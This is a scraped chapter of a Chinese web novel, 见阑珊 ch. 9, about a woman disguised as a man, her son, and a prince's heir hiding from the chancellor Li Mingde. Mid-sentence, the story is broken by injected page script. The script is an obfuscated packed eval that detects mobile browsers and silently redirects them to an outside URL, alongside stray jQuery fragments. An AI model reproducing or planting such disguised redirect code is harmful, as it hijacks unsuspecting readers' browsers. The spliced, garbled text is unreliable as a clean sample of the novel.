文趣网 > 其他小说 > 见阑珊 > 9. 急雨洒高城
    地窖,楼玉京寻了根粗长的棍子抵住木板,这会总算能松口气。她不知道如今楼韫如何,藏匿何处,但至少李明德还在找,他暂时安全。

    白倾熙站在她身后,她大概是想问的,为什么她会武,为什么瞒着她,为什么她当初没有查到?最后却只是回头对上她坦然的视线,欲言又止。外头是无尽追捕,两人在一根绳上,此时内讧并不明智,加之白倾熙并没有要害她的意思,她也就没有提起这个话题。

    白倾熙却没有要逃避的意思,往前走了一步,她确实比楼玉京高上不少,伸手攥住她粗糙的手腕,两人极少有过肢体接触,尤其是手部,这会楼玉京也才发觉那只手带着茧子。

    常年习武。

    这是她的第一想法。

    其次她见过很多妇人,姑娘的手,或细嫩或粗糙,但绝大部分没有像是白倾熙那样宽大。

    男人的手。

    这是她的第二想法。

    “我知公爹觉着我疑虑重重,这些都可以解释,但不是现在。”

    还是雌雄莫辨的声音,甚至比往常阴柔些。

    楼玉京看了她许久,终是点头应允。楼上已经来人了,脚步声不乱,有条不紊,而后是箱子被推开的摩擦声,头顶的木板被敲击两下。

    楼玉京下意识攥紧撑在木板上的木棍,忽而手背一热,白倾熙安抚地握住了她,仰头对上木板缝隙的光。

    “开。”

    下一瞬暗格被拉开了,不是李明德,亦不是白倾熙所想的萧掌柜,楼玉京瞳孔骤缩。

    “阿韫!?”

    白倾熙有些意外,楼玉京已经动身往上爬了,楼韫没说话,后退几步等她们爬出来。

    楼玉京几乎是站稳的瞬间就攥住他的手腕细细查看,楼韫并未受伤,白倾熙盯着他,“你出来做什么?待在萧掌柜那儿比出来安全的多,也省得拖后腿。”

    楼韫脸色从未如此凝重,没有回答她,反倒看着楼玉京握住自己的手,默然片刻,他终于还是问她:“为什么朝堂会有人针对我们?”

    那语气像是真的疑惑,却在她听来也像是质问,默然片刻,他又说,“爹,您从前只说师公是京城商贾,可为什么我听到的版本是他隶属于朝廷,称一句楼太傅?”

    楼玉京僵了一下,瞒了那么多年,一朝不慎还是让他有所知晓,楼韫自然也感受到了那霎时的僵硬,忽然扯唇笑了起来,抽回了手。那语气温和的仿佛两人从未心生嫌隙,似乎他并不在乎楼悯弦到底是什么身份。

    楼韫问她:“爹,你紧张什么?”

    “……”

    这般动作这般语气,他是在生气吗?楼玉京想,他在生气自己欺瞒与他。

    或许是的吧,换了他人这样欺骗自己,楼玉京只会比楼韫更狠。

    楼玉京悬在半空的手略显尴尬,指尖蜷了一下,她也收回手,错开他的视线说:“阿韫,这些事情,日后我会与你细说,现下我们要做的是躲。”

    楼韫淡然应了声,却嘲讽地看向了白倾熙,白倾熙掀起眼帘,不偏不倚正对上他的视线,问他想说什么,顿了顿,又问他如何知道。

    楼韫笑的愈发愉悦了,话也愈发不留情面,“世子自己安排的人,又问我如何知晓,倒显得虚伪。”

    “世子?”

    楼玉京低声,带着些许茫然地复述。又忽然惊觉曾经抛之脑后的细节。

    萧府,萧掌柜,世子。

    串联之后……

    会是他吗?楼玉京盯着白倾熙的脸,是他吗?

    琼景王世子,白问引。

    那个只存在于传闻间的病秧子,居于琼景王府深处,足不出户,几乎没有几个人见过他。

    可是为什么?

    为什么好好一个世子要如此忍辱负重,男扮女装嫁给他儿子,为什么会长着一张与萧鹤明相似的脸。楼玉京只觉得地窖的阴冷也比不过她此刻脊背发凉,萧鹤明的坟前,楼府的梨树下,甚至只是一些稀疏平常的事,在这短短不到一年的时间里都留有白倾熙的影子。

    他在有意接近她。

    为什么?

    “爹一向聪明,又怎在这犯了糊涂,琼景王世子,不是最明显吗?”楼韫收了笑,大抵也不想见她这样恍惚。

    白倾熙沉沉看着楼韫,话却是对楼玉京说的。

    “公爹猜的不错,我是琼景王世子,但我自问心无愧,那夜所说句句属实。”

    楼玉京没说话,白倾熙又说,“萧鹤明的死。”

    五个字在她脑中刹那炸响,眼前似是烟花流溢,还未来得及散去,下一秒白倾熙说:“还有你父母的死。”

    耳边嗡鸣,胸口骤痛,如鼓点砸下又沉又闷。

    楼玉京猛然攥紧他的手腕,死死盯着他双眸,一字一顿:“你说什么?”

    白倾熙回视她,那双与萧鹤明相似的眼眸盛着她此刻的模样,却将那点狰狞照得无影无踪。

    “楼氏夫妇对于公爹之事做的滴水不漏,人人以为公爹是女子,也幸好没有人猜忌,至少公爹目前还算安全。”

    人人认为她是女子……楼玉京想起她被送走的前段时间,父亲以招募家丁为由在好几家裁缝铺订了长衫,尺寸却含有她的。深夜里母亲在她门口站了很久也没有推门进去和她说一句话。

    从那时候他们就在准备了。

    那些刻意被她忽略的细节一瞬清明。

    可真的没有人怀疑过她女扮男装吗?

    曾经是有的,只是全被楼悯弦挡回去了。所以白倾熙认为她是男人,楼悯弦与她父母联手真是做了一场好局,保她一人周全。

    “你到底是谁。”楼玉京依然是擅长压制情绪的,但此刻已经将近木然,质问道。

    “琼景王世子,白问引。”白倾熙说。

    “……”

    “真的只是这样么?”

    白问引垂眸不再看她,说只是这样。

    真的只是这样吗?为什么他会知道这么多?又为什么有意接近她?

    甚至是这张脸。为什么偏偏是这张脸?

    是为了拿这点消息换她为琼景王卖命么?可他凭什么这么笃定她一定会同意?

    楼玉京思忖间不自觉松了手,楼韫顺势将白问引拉开,沉声说:“还真是手段高明,能屈能伸,只是我竟不知堂堂世子竟比戏子还会演。”

    白问引没再有任何动作,只问楼韫:“萧掌柜呢?”

    楼韫说:“萧府。”

    楼玉京大概还想再问些什么的,门外忽然传来的急促脚步声打断了她。点心铺的掌柜压着声,说李明德的人快搜到这边了。

    她不是意气用事的人,就算再痛也能面不改色地强行压在心底,装作若无其事。

    白问引将楼韫推下地道,又侧身让楼玉京下去,最后他才跳下来重新用木棍撑住木板,带着两人在地道中七拐八弯地回到萧府,萧掌柜携吝筱早早等候。

    待到三人出来,吝筱带人下去封了地道,萧掌柜领人往萧府深处走,到一处僻静的院落,白问引止步,楼玉京亦停下回头瞧他。

    萧掌柜冲白问引点头,而后对楼玉京说:“还请楼老板随我继续往里走,世子在府上留有院落,不必担忧。”

    倒不是担心,只是……琼景王世子为什么会在一个普通商贾家中有院落,又为什么萧鹤明府上的人对他言听计从?

    白问引知她心有疑虑,垂眸低声道:“我与萧大公子乃竹马之交,他算是我半个堂兄。”

    “半个?”

    “堂兄与他交情颇深,十多年前他在外打猎,遭人劫财,是萧大公子的商队路过,救了他,那之后堂兄对他多有帮衬,也与我结识。后来我堂兄战死,再没人护着我,同年他生意越做越大,成了陛下眼里的红人,琼景王妃也得给他三分薄面,他主动接了堂兄的担子,护我至死。”

    也是,琼景王妃容不下他娘,自然也容不下他。楼悯弦曾经确实有含糊提起过几句,只是这张相似的脸……

    白问引自然知道楼玉京在想什么,又说:“有传言说萧大公子是我父亲在外的儿子。”

    一句话下来既解释了这张脸,兄弟的身份也足够让他调用萧府的人。楼玉京不疑有他,她的身手在萧府还能护住楼韫,不怕有假,便与萧掌柜朝深处去了。

    地道虽暂时被封锁,但李明德找到他们也只是时间问题,楼玉京和楼韫刚换好萧府下人的衣服混在膳房的一众仆从里,李明德带人围了萧府。大概是觉得一介商贾不足为惧,男人在门外摩挲着手上的玉扳指,看似温和,平静水面之下是波涛汹涌司机要命。

    “萧府管事在否?”李明德笑吟吟地,“关着门接客人是否太失礼,本官听说前段日子你们才办了大公子的丧事,主子刚去不久,就这般没有规矩,教他在九泉之下如何安生?”

    门打开了,出来的不是暴跳如雷的掌事,萧掌柜仍旧是平和的。

    “丞相大人是觉得萧府死了大公子便可以任你拿捏么?”

    自然不是的,将来太

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17845928|211733||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    子登基,还用得上萧府。李明德哈哈笑了两声,说:“萧掌柜言重了,大公子在与不在,皆不影响萧家与陛下交好。”

    萧掌柜冷哼道:“不知丞相大人在此大动干戈意欲何为?”

    李明德道:“东街巷有一家刚开业不久的点心铺子,那铺子下有条地道,出口繁多,但有一条直通萧府,不知萧掌柜作何解释?”

    “是吗?”萧掌柜并未慌乱,不卑不亢,“此事我会让人处理,但这不是丞相大人带人围府的理由。”

    李明德眼里的阴鸷一闪而过,冷笑:“倘若贵府私藏逃犯呢?”

    “李丞相。”萧掌柜身后的庭院前站着一个男人,那人长身玉立眉宇锋利,墨色衣衫华而不庸,他虽没什么表情,但周身那股居高临下的压迫依然不容忽视。

    “琼景王世子?”大概是想起了什么,李明德脸色顿时变得精彩。

    就算再看不起这位世子,他也不得不卖琼景王薄面。

    白问引行至萧掌柜身前,垂眸看着一众侍卫。

    “丞相大人这是何意,是觉得我会包容逃犯么?”

    天大一顶帽子扣下,李明德袍袖下的手骤然攥紧,手臂青筋几乎暴起,片刻又维持住那抹难看的笑,说:“自然不是,世子殿下何必……”

    “既然不是,那么请便。”也不等他说完,白问引冷声打断他,“带着你的人,速速离开。”

    李明德自是不愿放弃,身后却来人附在他耳边低声说太子让他回去,他只得咬碎了牙带人离开。只是几步之后又停下,“世子殿下不如多看看楼家公子。”

    说完便离开。

    白问引也不知有没有听进去,总之等人走远,他才让萧掌柜关门,去了膳房找人。

    “公爹请随我来。”

    这句公爹在此刻倒显得诡异了,楼玉京眼皮一跳,又觉着他在外的身份是她儿媳,在人前自是要唤一句公爹的,便就没有出声纠正。

    萧府书房,危机暂时解除,楼玉京在他身后开口。

    “我爹娘的事你为什么会知道?”

    白问引取出那份残缺名单递给她,道:“因为我也在查。”

    “陛下处理得太绝,目前我已知的只有这份残缺名单,以及他们不仅死于站队错误,这份名单里有的人也和你父母一起被秘密处理,也有人活着藏于市井。”他指着画圈的名字说,“这些人里,我只找到了谢允。”

    “……谢允?”

    楼悯弦给出的名单里谢允该是死了的,他也是当年除了楼氏夫妇以外最得先太子器重的人。

    “为什么告诉我这些?”

    白问引也不与她藏着掖着,言简意赅:“我想与你合作。”

    楼玉京盯着他的眼睛:“我不会为琼景王卖命。”

    “我也不为他卖命,即使我身上流着他的血,我也恨他害死了我母亲,但我们同样选择了三皇子,有些交际终究不可避免。”

    见她久久没有开口,白问引叹息一声,问她:“如果他们不止要你的命,如果他们要楼韫的命呢?”

    楼玉京瞳孔缩了缩,“为什么,阿韫什么都不知道。”

    白问引思忖着道:“我也不大清楚,许是太傅的原因,他们想你还不够成为威胁他的筹码,想要用楼韫加注。”

    “又或许楼韫的身份……”

    “不可能!”楼玉京打断他,“我养了阿韫十年,他的性子绝不像皇室等人,他并不冷血。”

    “可皇室也有并不冷血的人不是吗?”

    “那只是少数。”

    她不愿信。

    白问引沉默,片刻后说:“罢了,届时一查便知。只是公爹,据我所知,他们真真要他的命,就算你去问了太傅,也会是一样的结果。”

    会是一样的结果,只是不知道为什么。

    楼韫究竟特别在哪?

    何况现在的她处于劣势,就算有自己的布局与人手,还是不足以对抗太子党。许是他句句恳切,用她父母之死当做筹码与诚意,楼玉京最终同意与他联手。

    楼韫换回自己的衣衫刚到书房便听得楼玉京说话,她说了一句“好。”

    在书房外听得一清二楚,大概是答应了白问引一些事情,也许是合作,也许是别的什么,他扯了扯唇,那笑自嘲而苦涩。

    他怎么就忘了呢?

    怎么就忘了她的性子。

    她这人啊……

    是明知眼前杯中酒是毒,却还甘愿饮鸩止渴,不死不休。